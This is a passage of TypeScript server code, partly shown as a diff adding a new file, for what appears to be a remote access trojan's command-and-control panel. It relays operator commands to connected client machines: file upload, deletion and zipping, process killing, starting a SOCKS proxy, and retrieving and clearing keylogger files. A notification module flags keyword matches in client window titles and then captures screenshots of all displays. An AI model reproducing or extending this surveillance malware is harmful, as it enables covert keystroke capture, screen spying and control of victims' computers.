metrics.recordCommand("file_upload");
logAudit({
timestamp: Date.now(),
username: (ws.data as any).username || "unknown",
ip: ws.data.ip || "unknown",
action: AuditAction.FILE_UPLOAD,
targetClientId: clientId,
details: JSON.stringify({ path: upload.path, size: upload.data.length, offset: upload.offset }),
success: true,
});
break;
}
case "file_delete": {
const deleteCommandId = payload.commandId || commandId;
target.ws.send(encodeMessage({ type: "command", commandType: "file_delete", id: deleteCommandId, payload: { path: payload.path || "" } } as any));
metrics.recordCommand("file_delete");
logAudit({
timestamp: Date.now(),
username: (ws.data as any).username || "unknown",
ip: ws.data.ip || "unknown",
action: AuditAction.FILE_DELETE,
targetClientId: clientId,
details: JSON.stringify({ path: payload.path || "" }),
success: true,
});
break;
}
case "file_mkdir": {
const mkdirCommandId = payload.commandId || commandId;
target.ws.send(encodeMessage({ type: "command", commandType: "file_mkdir", id: mkdirCommandId, payload: { path: payload.path || "" } } as any));
metrics.recordCommand("file_mkdir");
logAudit({
timestamp: Date.now(),
username: (ws.data as any).username || "unknown",
ip: ws.data.ip || "unknown",
action: AuditAction.FILE_MKDIR,
targetClientId: clientId,
details: JSON.stringify({ path: payload.path || "" }),
success: true,
});
break;
}
case "file_zip": {
const zipCommandId = payload.commandId || commandId;
target.ws.send(encodeMessage({ type: "command", commandType: "file_zip", id: zipCommandId, payload: { path: payload.path || "" } } as any));
metrics.recordCommand("file_zip");
logAudit({
timestamp: Date.now(),
username: (ws.data as any).username || "unknown",
ip: ws.data.ip || "unknown",
action: AuditAction.FILE_ZIP,
targetClientId: clientId,
details: JSON.stringify({ path: payload.path || "" }),
success: true,
});
break;
}
case "command_abort":
target.ws.send(encodeMessage({ type: "command_abort", commandId: payload.commandId } as any));
break;
default:
break;
}
}
export function handleFileBrowserMessage(clientId: string, payload: any, deps: WsViewerClusterDeps) {
const type = payload?.type as string | undefined;
const isHttpDownload =
type === "file_download" &&
typeof payload?.commandId === "string" &&
deps.pendingHttpDownloads.has(payload.commandId);
if (type === "file_download" && typeof payload?.commandId === "string") {
void deps.consumeHttpDownloadPayload(payload);
}
let hasSession = false;
for (const session of sessionManager.getAllFileBrowserSessions().values()) {
if (session.clientId !== clientId) continue;
if (!hasSession) {
hasSession = true;
if (type && type !== "command_result" && type !== "command_progress") {
logger.debug(`[filebrowser] client=${clientId} type=${type}`);
}
}
if (isHttpDownload) {
continue;
}
if (payload.type === "file_download" && payload.data) {
const data = payload.data instanceof Uint8Array ? payload.data : new Uint8Array(payload.data);
safeSendViewer(session.viewer, { ...payload, data });
} else {
safeSendViewer(session.viewer, payload);
}
}
}
export function handleProcessViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: ProcessViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllProcessSessions().set(sessionId, session);
ws.data.sessionId = sessionId;
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
}
}
export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
const { clientId } = ws.data;
const target = clientManager.getClient(clientId);
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline" });
return;
}
const commandId = uuidv4();
switch (payload.type) {
case "process_list":
target.ws.send(encodeMessage({ type: "command", commandType: "process_list", id: commandId } as any));
metrics.recordCommand("process_list");
break;
case "process_kill": {
const pid = Number(payload.pid);
if (!Number.isFinite(pid) || pid <= 0) {
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
break;
}
target.ws.send(encodeMessage({ type: "command", commandType: "process_kill", id: commandId, payload: { pid } } as any));
metrics.recordCommand("process_kill");
break;
}
default:
break;
}
}
export function handleProcessMessage(clientId: string, payload: any) {
for (const session of sessionManager.getAllProcessSessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewer(session.viewer, payload);
}
}
export function handleProxyViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addProxySession(session);
ws.data.sessionId = sessionId;
logger.info(`[proxy] viewer connected session=${sessionId} client=${clientId}`);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
}
}
export function handleProxyViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
const { clientId } = ws.data;
const target = clientManager.getClient(clientId);
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline" });
return;
}
const commandId = uuidv4();
switch (payload.type) {
case "proxy_start": {
const port = typeof payload.port === "number" ? payload.port : 1080;
target.ws.send(encodeMessage({ type: "command", commandType: "proxy_start", id: commandId, payload: { port } } as any));
metrics.recordCommand("proxy_start");
break;
}
case "proxy_stop":
target.ws.send(encodeMessage({ type: "command", commandType: "proxy_stop", id: commandId } as any));
metrics.recordCommand("proxy_stop");
break;
default:
break;
}
}
export function handleProxyMessage(clientId: string, payload: any) {
for (const session of sessionManager.getAllProxySessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewer(session.viewer, payload);
}
}
export function handleKeyloggerViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addKeyloggerSession(session);
ws.data.sessionId = sessionId;
logger.info(`[keylogger] viewer connected session=${sessionId} client=${clientId}`);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
}
}
export function handleKeyloggerViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
const { clientId } = ws.data;
const target = clientManager.getClient(clientId);
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline" });
return;
}
const commandId = uuidv4();
switch (payload.type) {
case "keylog_list":
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_list", id: commandId } as any));
metrics.recordCommand("keylog_list");
break;
case "keylog_retrieve": {
const filename = typeof payload.filename === "string" ? payload.filename : "";
if (!filename) {
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid filename" });
break;
}
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_retrieve", id: commandId, payload: { filename } } as any));
metrics.recordCommand("keylog_retrieve");
break;
}
case "keylog_clear_all":
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_clear_all", id: commandId } as any));
metrics.recordCommand("keylog_clear_all");
break;
case "keylog_delete": {
const filename = typeof payload.filename === "string" ? payload.filename : "";
if (!filename) {
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid filename" });
break;
}
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_delete", id: commandId, payload: { filename } } as any));
metrics.recordCommand("keylog_delete");
break;
}
default:
break;
}
}
export function handleKeyloggerMessage(clientId: string, payload: any) {
for (const session of sessionManager.getAllKeyloggerSessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewer(session.viewer, payload);
}
}
@@ -0,0 +1,334 @@
import type { ServerWebSocket } from "bun";
import { encode as msgpackEncode } from "@msgpack/msgpack";
import { v4 as uuidv4 } from "uuid";
import * as clientManager from "../clientManager";
import { logger } from "../logger";
import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { SocketData } from "../sessions/types";
type NotificationRecord = {
id: string;
clientId: string;
host?: string;
user?: string;
os?: string;
title: string;
process?: string;
processPath?: string;
pid?: number;
keyword?: string;
category: "active_window";
ts: number;
screenshotId?: string;
};
type NotificationRateState = {
lastSent: number;
windowStart: number;
suppressed: number;
lastWarned: number;
};
type PendingNotificationScreenshot = {
notificationId: string;
clientId: string;
ts: number;
timeout: NodeJS.Timeout;
};
type NotificationConfigShape = {
minIntervalMs?: number;
spamWindowMs?: number;
spamWarnThreshold?: number;
historyLimit?: number;
};
type CreateDeps = {
notificationHistory: NotificationRecord[];
notificationRate: Map<string, NotificationRateState>;
pendingNotificationScreenshots: Map<string, PendingNotificationScreenshot>;
pluginLoadedByClient: Map<string, Set<string>>;
pluginLoadingByClient: Map<string, Set<string>>;
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
pluginState: { enabled: Record<string, boolean>; lastError: Record<string, string> };
getNotificationConfig: () => NotificationConfigShape;
storeNotificationScreenshot: (
pending: PendingNotificationScreenshot,
bytes: Uint8Array,
format: string,
width?: number,
height?: number,
) => void;
deliverNotificationWithScreenshot: (record: NotificationRecord) => Promise<void>;
savePluginState: () => Promise<void>;
};
function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
try {
ws.send(msgpackEncode(payload));
} catch (err) {
logger.error("[viewer] send failed", err);
}
}
export function createNotificationPluginHandlers(deps: CreateDeps) {
function requestNotificationScreenshot(info: any, record: NotificationRecord) {
if (!info || !info.ws) return;
const commandId = `notify-shot-${uuidv4()}`;
const timeout = setTimeout(() => {
deps.pendingNotificationScreenshots.delete(commandId);
}, 15_000);
deps.pendingNotificationScreenshots.set(commandId, {
notificationId: record.id,
clientId: record.clientId,
ts: record.ts,
timeout,
});
try {
info.ws.send(
encodeMessage({
type: "command",
commandType: "screenshot",
id: commandId,
payload: { mode: "notification", allDisplays: true },
} as any),
);
metrics.recordCommand("screenshot");
} catch (err) {
clearTimeout(timeout);
deps.pendingNotificationScreenshots.delete(commandId);
logger.warn("[notify] failed to request screenshot", err);
}
}
function shouldAcceptNotification(key: string, ts: number): boolean {
const notificationConfig = deps.getNotificationConfig();
const minInterval = Math.max(1000, notificationConfig.minIntervalMs || 8000);
const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000);
const warnThreshold = Math.max(1, notificationConfig.spamWarnThreshold || 5);
const state = deps.notificationRate.get(key) || {
lastSent: 0,
windowStart: ts,
suppressed: 0,
lastWarned: 0,
};
if (ts - state.windowStart > spamWindow) {
state.windowStart = ts;
state.suppressed = 0;
state.lastWarned = 0;
}
if (ts - state.lastSent < minInterval) {
state.suppressed += 1;
if (
state.suppressed >= warnThreshold &&
ts - state.lastWarned > Math.floor(spamWindow / 2)
) {
logger.warn(`[notify] suppressed ${state.suppressed} notifications in ${spamWindow}ms for ${key}`);
state.lastWarned = ts;
}
deps.notificationRate.set(key, state);
return false;
}
state.lastSent = ts;
state.suppressed = 0;
deps.notificationRate.set(key, state);
return true;
}
function flushPluginEvents(clientId: string, pluginId: string) {
const key = `${clientId}:${pluginId}`;
const list = deps.pendingPluginEvents.get(key);
if (!list || list.length === 0) return;
const target = clientManager.getClient(clientId);
if (!target) return;
for (const item of list) {
target.ws.send(
encodeMessage({
type: "plugin_event",
pluginId,
event: item.event,
payload: item.payload,
} as any),
);
}
deps.pendingPluginEvents.delete(key);
}
function markPluginLoaded(clientId: string, pluginId: string) {
if (!clientId || !pluginId) return;
let set = deps.pluginLoadedByClient.get(clientId);
if (!set) {
set = new Set();
deps.pluginLoadedByClient.set(clientId, set);
}
set.add(pluginId);
deps.pluginLoadingByClient.get(clientId)?.delete(pluginId);
}
return {
handleNotificationViewerOpen(ws: ServerWebSocket<SocketData>) {
const sessionId = uuidv4();
sessionManager.addNotificationSession({
id: sessionId,
viewer: ws,
createdAt: Date.now(),
});
ws.data.sessionId = sessionId;
logger.info(`[notify] viewer connected session=${sessionId}`);
safeSendViewer(ws, { type: "ready", sessionId, history: deps.notificationHistory });
},
handleNotification(clientId: string, payload: any) {
const ts = Number(payload.ts) || Date.now();
const title = typeof payload.title === "string" ? payload.title : "";
if (!title) return;
const keyword = typeof payload.keyword === "string" ? payload.keyword : "";
const rateKey = `${clientId}:${keyword || title}`;
if (!shouldAcceptNotification(rateKey, ts)) {
return;
}
const info = clientManager.getClient(clientId);
logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`);
const record: NotificationRecord = {
id: uuidv4(),
clientId,
host: info?.host,
user: info?.user,
os: info?.os,
title,
process: typeof payload.process === "string" ? payload.process : "",
processPath: typeof payload.processPath === "string" ? payload.processPath : "",
pid: Number(payload.pid) || undefined,
keyword,
category: "active_window",
ts,
};
deps.notificationHistory.unshift(record);
const notificationConfig = deps.getNotificationConfig();
const limit = Math.max(50, notificationConfig.historyLimit || 200);
if (deps.notificationHistory.length > limit) {
deps.notificationHistory.splice(limit);
}
requestNotificationScreenshot(info, record);
for (const session of sessionManager.getAllNotificationSessions().values()) {
safeSendViewer(session.viewer, { type: "notification", item: record });
}
void deps.deliverNotificationWithScreenshot(record);
},
handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) {
if (!commandId) return;
if (ok === true) return;
const pending = deps.pendingNotificationScreenshots.get(commandId);
if (!pending) return;
clearTimeout(pending.timeout);
deps.pendingNotificationScreenshots.delete(commandId);
if (message) {
logger.warn(`[notify] screenshot failed commandId=${commandId} message=${message}`);
}
},
handleNotificationScreenshotResult(clientId: string, payload: any) {
const commandId = typeof payload.commandId === "string" ? payload.commandId : "";
if (!commandId) return;
const pending = deps.pendingNotificationScreenshots.get(commandId);
if (!pending) return;
clearTimeout(pending.timeout);
deps.pendingNotificationScreenshots.delete(commandId);
if (payload.error) {
logger.warn(`[notify] screenshot error commandId=${commandId}`, payload.error);
return;
}
let bytes: Uint8Array | null = null;
if (payload.data instanceof Uint8Array) {
bytes = payload.data;
} else if (payload.data instanceof ArrayBuffer) {
bytes = new Uint8Array(payload.data);
} else if (ArrayBuffer.isView(payload.data)) {
bytes = new Uint8Array(payload.data.buffer);
}
if (!bytes || bytes.length === 0) {
logger.warn(`[notify] screenshot missing data commandId=${commandId}`);
return;
}
const format = typeof payload.format === "string" ? payload.format : "jpeg";
const width = Number(payload.width) || undefined;
const height = Number(payload.height) || undefined;
deps.storeNotificationScreenshot(pending, bytes, format, width, height);
},
clearPendingNotificationScreenshots(clientId: string) {
for (const [commandId, pending] of deps.pendingNotificationScreenshots.entries()) {
if (pending.clientId !== clientId) continue;
clearTimeout(pending.timeout);
deps.pendingNotificationScreenshots.delete(commandId);
}
},
markPluginLoaded,
isPluginLoaded(clientId: string, pluginId: string): boolean {
return deps.pluginLoadedByClient.get(clientId)?.has(pluginId) ?? false;
},
isPluginLoading(clientId: string, pluginId: string): boolean {
return deps.pluginLoadingByClient.get(clientId)?.has(pluginId) ?? false;
},
markPluginLoading(clientId: string, pluginId: string) {
if (!clientId || !pluginId) return;
let set = deps.pluginLoadingByClient.get(clientId);
if (!set) {
set = new Set();
deps.pluginLoadingByClient.set(clientId, set);
}
set.add(pluginId);
},
enqueuePluginEvent(clientId: string, pluginId: string, event: string, payload: any) {
const key = `${clientId}:${pluginId}`;
const list = deps.pendingPluginEvents.get(key) || [];
list.push({ event, payload });
deps.pendingPluginEvents.set(key, list);
},
handlePluginEvent(clientId: string, payload: any) {
const pluginId = (payload as any).pluginId || "";
const event = (payload as any).event || "";
const error = (payload as any).error || "";
logger.debug(`[plugin] client=${clientId} plugin=${pluginId} event=${event} error=${error}`);
if (event === "loaded") {
markPluginLoaded(clientId, pluginId);
flushPluginEvents(clientId, pluginId);
if (pluginId) {
deps.pluginState.lastError[pluginId] = "";
void deps.savePluginState();
}
}
if (event === "unloaded") {
deps.pluginLoadedByClient.get(clientId)?.delete(pluginId);
}
if (event === "error" || error) {
if (pluginId) {
deps.pluginState.lastError[pluginId] = error || String((payload as any).message || "plugin error");
void deps.savePluginState();
}
}
},
};
}